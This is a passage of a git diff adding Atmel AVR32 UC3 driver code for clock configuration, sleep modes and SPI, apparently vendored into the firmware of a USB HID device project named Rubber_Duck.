scif_write_gplp(gplp,value); +#endif +} + +unsigned long pcl_read_gplp(unsigned long gplp) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + return pm_read_gplp(&AVR32_PM,gplp); +#else + return scif_read_gplp(gplp); +#endif +} +#endif diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h new file mode 100755 index 0000000..f661873 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.h @@ -0,0 +1,381 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _POWER_CLOCKS_LIB_H_ +#define _POWER_CLOCKS_LIB_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "compiler.h" + +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. + #include "pm.h" +#else +//! Device-specific data +#if UC3L + #include "pm_uc3l.h" + #include "scif_uc3l.h" + #include "flashcdw.h" +#elif UC3C + #include "pm_uc3c.h" + #include "scif_uc3c.h" + #include "flashc.h" +#elif UC3D + #include "pm_uc3d.h" + #include "scif_uc3d.h" + #include "flashcdw.h" +#endif + #endif + +/*! \name Clocks Management + */ +//! @{ + +//! The different oscillators +typedef enum +{ + PCL_OSC0 = 0, + PCL_OSC1 = 1 +} pcl_osc_t; + +//! The different DFLLs +typedef enum +{ + PCL_DFLL0 = 0, + PCL_DFLL1 = 1 +} pcl_dfll_t; + +//! Possible Main Clock Sources +typedef enum +{ + PCL_MC_RCSYS, // Default main clock source, supported by all (aka Slow Clock) + PCL_MC_OSC0, // Supported by all + PCL_MC_OSC1, // Supported by UC3C only + PCL_MC_OSC0_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC0 as reference) + PCL_MC_OSC1_PLL0, // Supported by UC3A, UC3B, UC3A3, UC3C (the main clock source is PLL0 with OSC1 as reference) + PCL_MC_OSC0_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC0 as reference) + PCL_MC_OSC1_PLL1, // Supported by UC3C (the main clock source is PLL1 with OSC1 as reference) + PCL_MC_DFLL0, // Supported by UC3L + PCL_MC_DFLL1, // Not supported yet + PCL_MC_RC120M, // Supported by UC3L, UC3C + PCL_MC_RC8M, // Supported by UC3C + PCL_MC_CRIPOSC // Supported by UC3C +} pcl_mainclk_t; + +//! Input and output parameters to configure clocks with pcl_configure_clocks(). +// NOTE: regarding the frequency settings, always abide by the datasheet rules and min & max supported frequencies. +#ifndef AVR32_PM_VERSION_RESETVALUE +// Support for UC3A, UC3A3, UC3B parts. +#define pcl_freq_param_t pm_freq_param_t // See pm.h +#else +// Support for UC3C, UC3L parts. +typedef struct +{ + //! Main clock source selection (input argument). + pcl_mainclk_t main_clk_src; + + //! Target CPU frequency (input/output argument). + unsigned long cpu_f; + + //! Target PBA frequency (input/output argument). + unsigned long pba_f; + + //! Target PBB frequency (input/output argument). + unsigned long pbb_f; + + //! Target PBC frequency (input/output argument). + unsigned long pbc_f; + + //! Oscillator 0's external crystal(or external clock) frequency (board dependant) (input argument). + unsigned long osc0_f; + + //! Oscillator 0's external crystal(or external clock) startup time: AVR32_PM_OSCCTRL0_STARTUP_x_RCOSC (input argument). + unsigned long osc0_startup; + + //! DFLL target frequency (input/output argument) (NOTE: the bigger, the most stable the frequency) + unsigned long dfll_f; + + //! Other parameters that might be necessary depending on the device (implementation-dependent). + // For the UC3L DFLL setup, this parameter should be pointing to a structure of + // type (scif_gclk_opt_t *). + void *pextra_params; +} pcl_freq_param_t; +#endif + +//! Define "not supported" for the lib. +#define PCL_NOT_SUPPORTED (-10000) + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - main_clk_src is the id of the main clock source to use, + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * - dfll_f is the target DFLL frequency to set-up if main_clk_src is the dfll. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RCSYS osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RCSYS + * + * Supported synchronous clocks frequencies: + * 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rcsys() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the RC120M osc as main source clock. + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies + * + * Supported main clock sources: PCL_MC_RC120M + * + * Supported synchronous clocks frequencies: + * 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_rc120m() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the OSC0 osc as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - osc0_f is the oscillator 0's external crystal (or external clock) on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0's external crystal (or external clock) startup time (e.g. OSC0_STARTUP). + * + * Supported main clock sources: PCL_MC_OSC0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + * 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_osc0() and modify it to use + * preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_osc0(pcl_freq_param_t *param); + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks using the DFLL0 as main source clock + * + * This function needs some parameters stored in a pcl_freq_param_t structure: + * - cpu_f and pba_f and pbb_f are the wanted frequencies, + * - dfll_f is the target DFLL frequency to set-up + * + * \note: when the DFLL0 is to be used as main source clock for the synchronous clocks, + * the target frequency of the DFLL should be chosen to be as high as possible + * within the specification range (for stability reasons); the target cpu and pbx + * frequencies will then be reached by appropriate division ratio. + * + * Supported main clock sources: PCL_MC_DFLL0 + * + * Supported synchronous clocks frequencies: + * (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + * 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + * + * \note: by default, this implementation doesn't perform thorough checks on the + * input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + * + * \note: since it is dynamically computing the appropriate field values of the + * configuration registers from the parameters structure, this function is not + * optimal in terms of code size. For a code size optimal solution, it is better + * to create a new function from pcl_configure_clocks_dfll0() and modify it to + * use preprocessor computation from pre-defined target frequencies. + * + * \param param pointer on the configuration structure. + * + * \retval 0 Success. + * \retval <0 The configuration cannot be performed. + */ +extern long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param); + +/*! \brief Switch the main clock source to Osc0 configured in crystal mode + * + * \param osc The oscillator to enable and switch to. + * \param fcrystal Oscillator external crystal frequency (Hz) + * \param startup Oscillator startup time. + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup); + +/*! \brief Enable the clock of a module. + * + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_enable_module(module) pm_enable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_enable_module(module) pm_enable_module(module) +#endif + +/*! \brief Disable the clock of a module. + * + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks" + * or look in the module section). + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. +#define pcl_disable_module(module) pm_disable_module(&AVR32_PM, module) +#else +// Implementation for UC3C, UC3L parts. +#define pcl_disable_module(module) pm_disable_module(module) +#endif + +/*! \brief Configure the USB Clock + * + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long int pcl_configure_usb_clock(void); + +//! @} + +/*! \name Power Management + */ +//! @{ +/*! + * \brief Read the content of the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pcl_read_gplp(unsigned long gplp); + + +/*! + * \brief Write into the GPLP registers + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pcl_write_gplp(unsigned long gplp, unsigned long value); + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif // _POWER_CLOCKS_LIB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h new file mode 100755 index 0000000..ccd11b0 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/sleep.h @@ -0,0 +1,149 @@ +/** + * \file + * + * \brief Sleep mode access + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SLEEP_H +#define SLEEP_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#ifndef AVR32_PM_SMODE_GMCLEAR_MASK +#define AVR32_PM_SMODE_GMCLEAR_MASK 0x80 +#else +#warning Define already present in the system toolchain header files! +#endif + +/** + * \defgroup sleep_group Power Manager (PM) + * + * This is a stub on the AVR UC3 Power Manager(PM) for the sleepmgr service. + * + * \note To minimize the code overhead, these functions do not feature + * interrupt-protected access since they are likely to be called inside + * interrupt handlers or in applications where such protection is not + * necessary. If such protection is needed, it must be ensured by the calling + * code. + * + * @{ + */ + +#if defined(__DOXYGEN__) +/** + * \brief Sets the MCU in the specified sleep mode + * \param sleep_mode Sleep mode to set. + */ +#endif + +#if (UC3A || UC3B) // For AVR UC3 A0/A1, UC3 B, UC3 A3 series + +# ifndef AVR32_PM_SMODE_DEEPSTOP +# define AVR32_PM_SMODE_DEEPSTOP 0x00000004 +# endif +# include "pm.h" +#elif UC3C // For AVR UC3 C series +# include "pm_uc3c.h" +#elif UC3D // For AVR UC3 D series +# include "pm_uc3d.h" +#elif UC3L // For AVR UC3 L series +# include "pm_uc3l.h" +#else +# error Unsupported AVR UC3 series. +#endif + +static inline void pm_sleep(int sleep_mode) +{ + switch (sleep_mode) { + case AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_IDLE); + break; + case AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_FROZEN); + break; + case AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STANDBY); + break; + case AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STOP); + break; + case AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_DEEPSTOP); + break; + case AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_STATIC); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_STATIC); + break; +#if UC3L + case AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_SHUTDOWN); + break; + case AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN: + SLEEP(AVR32_PM_SMODE_GMCLEAR_MASK | AVR32_PM_SMODE_SHUTDOWN); + break; +#endif + default: + break; + } +} + + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* SLEEP_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c new file mode 100755 index 0000000..09c1a8e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/spi/spi.c @@ -0,0 +1,423 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SPI driver for AVR32 UC3. + * + * This file defines a useful set of functions for the SPI interface on AVR32 + * devices. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "spi.h" + +#ifdef FREERTOS_USED + +#include "FreeRTOS.h" +#include "semphr.h" + +#endif + + +/*! \name SPI Writable Bit-Field Registers + */ +//! @{ + +typedef union +{ + unsigned long cr; + avr32_spi_cr_t CR; +} u_avr32_spi_cr_t; + +typedef union +{ + unsigned long mr; + avr32_spi_mr_t MR; +} u_avr32_spi_mr_t; + +typedef union +{ + unsigned long tdr; + avr32_spi_tdr_t TDR; +} u_avr32_spi_tdr_t; + +typedef union +{ + unsigned long ier; + avr32_spi_ier_t IER; +} u_avr32_spi_ier_t; + +typedef union +{ + unsigned long idr; + avr32_spi_idr_t IDR; +} u_avr32_spi_idr_t; + +typedef union +{ + unsigned long csr; + avr32_spi_csr0_t CSR; +} u_avr32_spi_csr_t; + +//! @} + + +#ifdef FREERTOS_USED + +//! The SPI mutex. +static xSemaphoreHandle xSPIMutex; + +#endif + + +int16_t getBaudDiv(const unsigned int baudrate, uint32_t pba_hz) +{ + int baudDiv = (pba_hz + baudrate / 2) / baudrate; + + if (baudDiv <= 0 || baudDiv > 255) { + return -1; + } + + return baudDiv; +} + +spi_status_t spi_initSlave(volatile avr32_spi_t *spi, + unsigned char bits, + unsigned char spi_mode) +{ + if (spi_mode > 3 || + bits < 8 || bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + spi->csr0 = ((spi_mode >> 1) << AVR32_SPI_CSR0_CPOL_OFFSET) | + (((spi_mode & 0x1) ^ 0x1) << AVR32_SPI_CSR0_NCPHA_OFFSET) | + ((bits - 8) << AVR32_SPI_CSR0_BITS_OFFSET); + + return SPI_OK; +} + + +spi_status_t spi_initTest(volatile avr32_spi_t *spi) +{ + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + spi->mr |= AVR32_SPI_MR_MSTR_MASK | // Master Mode. + AVR32_SPI_MR_LLB_MASK; // Local Loopback. + + return SPI_OK; +} + + +spi_status_t spi_initMaster(volatile avr32_spi_t *spi, const spi_options_t *options) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (options->modfdis > 1) { + return SPI_ERROR_ARGUMENT; + } + + // Reset. + spi->cr = AVR32_SPI_CR_SWRST_MASK; + + // Master Mode. + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.mstr = 1; + u_avr32_spi_mr.MR.modfdis = options->modfdis; + u_avr32_spi_mr.MR.llb = 0; + u_avr32_spi_mr.MR.pcs = (1 << AVR32_SPI_MR_PCS_SIZE) - 1; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectionMode(volatile avr32_spi_t *spi, + unsigned char variable_ps, + unsigned char pcs_decode, + unsigned char delay) +{ + u_avr32_spi_mr_t u_avr32_spi_mr; + + if (variable_ps > 1 || + pcs_decode > 1) { + return SPI_ERROR_ARGUMENT; + } + + u_avr32_spi_mr.mr = spi->mr; + u_avr32_spi_mr.MR.ps = variable_ps; + u_avr32_spi_mr.MR.pcsdec = pcs_decode; + u_avr32_spi_mr.MR.dlybcs = delay; + spi->mr = u_avr32_spi_mr.mr; + + return SPI_OK; +} + + +spi_status_t spi_selectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ +#ifdef FREERTOS_USED + while (pdFALSE == xSemaphoreTake(xSPIMutex, 20)); +#endif + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + if (spi->mr & AVR32_SPI_MR_PCSDEC_MASK) { + // The signal is decoded; allow up to 15 chips. + if (chip > 14) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~AVR32_SPI_MR_PCS_MASK | (chip << AVR32_SPI_MR_PCS_OFFSET); + } else { + if (chip > 3) { + return SPI_ERROR_ARGUMENT; + } + + spi->mr &= ~(1 << (AVR32_SPI_MR_PCS_OFFSET + chip)); + } + + return SPI_OK; +} + + +spi_status_t spi_unselectChip(volatile avr32_spi_t *spi, unsigned char chip) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + // Assert all lines; no peripheral is selected. + spi->mr |= AVR32_SPI_MR_PCS_MASK; + + // Last transfer, so deassert the current NPCS if CSAAT is set. + spi->cr = AVR32_SPI_CR_LASTXFER_MASK; + +#ifdef FREERTOS_USED + xSemaphoreGive(xSPIMutex); +#endif + + return SPI_OK; +} + + +spi_status_t spi_setupChipReg(volatile avr32_spi_t *spi, + const spi_options_t *options, + uint32_t pba_hz) +{ + u_avr32_spi_csr_t u_avr32_spi_csr; + + if (options->spi_mode > 3 || + options->stay_act > 1 || + options->bits < 8 || options->bits > 16) { + return SPI_ERROR_ARGUMENT; + } + + int baudDiv = getBaudDiv(options->baudrate, pba_hz); + + if (baudDiv < 0) { + return SPI_ERROR_ARGUMENT; + } + + // Will use CSR0 offsets; these are the same for CSR0 to CSR3. + u_avr32_spi_csr.csr = 0; + u_avr32_spi_csr.CSR.cpol = options->spi_mode >> 1; + u_avr32_spi_csr.CSR.ncpha = (options->spi_mode & 0x1) ^ 0x1; + u_avr32_spi_csr.CSR.csaat = options->stay_act; + u_avr32_spi_csr.CSR.bits = options->bits - 8; + u_avr32_spi_csr.CSR.scbr = baudDiv; + u_avr32_spi_csr.CSR.dlybs = options->spck_delay; + u_avr32_spi_csr.CSR.dlybct = options->trans_delay; + + switch(options->reg) { + case 0: + spi->csr0 = u_avr32_spi_csr.csr; + break; + case 1: + spi->csr1 = u_avr32_spi_csr.csr; + break; + case 2: + spi->csr2 = u_avr32_spi_csr.csr; + break; + case 3: + spi->csr3 = u_avr32_spi_csr.csr; + break; + default: + return SPI_ERROR_ARGUMENT; + } + +#ifdef FREERTOS_USED + if (!xSPIMutex) + { + // Create the SPI mutex. + vSemaphoreCreateBinary(xSPIMutex); + if (!xSPIMutex) + { + while(1); + } + } +#endif + + return SPI_OK; +} + + +void spi_enable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIEN_MASK; +} + + +void spi_disable(volatile avr32_spi_t *spi) +{ + spi->cr = AVR32_SPI_CR_SPIDIS_MASK; +} + + +int spi_is_enabled(volatile avr32_spi_t *spi) +{ + return (spi->sr & AVR32_SPI_SR_SPIENS_MASK) != 0; +} + +unsigned char spi_writeRegisterEmptyCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TDRE_MASK) != 0); +} + + +spi_status_t spi_write(volatile avr32_spi_t *spi, uint16_t data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = data << AVR32_SPI_TDR_TD_OFFSET; + + return SPI_OK; +} + + +spi_status_t spi_variableSlaveWrite(volatile avr32_spi_t *spi, uint16_t data, + uint8_t pcs, uint8_t lastxfer) +{ + unsigned int timeout = SPI_TIMEOUT; + + if (pcs > 14 || lastxfer > 1) { + return SPI_ERROR_ARGUMENT; + } + + while (!(spi->sr & AVR32_SPI_SR_TDRE_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + spi->tdr = (data << AVR32_SPI_TDR_TD_OFFSET) | + (pcs << AVR32_SPI_TDR_PCS_OFFSET) | + (lastxfer << AVR32_SPI_TDR_LASTXFER_OFFSET); + + return SPI_OK; +} + + +unsigned char spi_writeEndCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_TXEMPTY_MASK) != 0); +} + + +unsigned char spi_readRegisterFullCheck(volatile avr32_spi_t *spi) +{ + return ((spi->sr & AVR32_SPI_SR_RDRF_MASK) != 0); +} + + +spi_status_t spi_read(volatile avr32_spi_t *spi, unsigned short *data) +{ + unsigned int timeout = SPI_TIMEOUT; + + while ((spi->sr & (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) != + (AVR32_SPI_SR_RDRF_MASK | AVR32_SPI_SR_TXEMPTY_MASK)) { + if (!timeout--) { + return SPI_ERROR_TIMEOUT; + } + } + + *data = spi->rdr >> AVR32_SPI_RDR_RD_OFFSET; + + return SPI_OK; +} + + +unsigned char spi_getStatus(volatile avr32_spi_t *spi) +{ + spi_status_t ret = SPI_OK; + 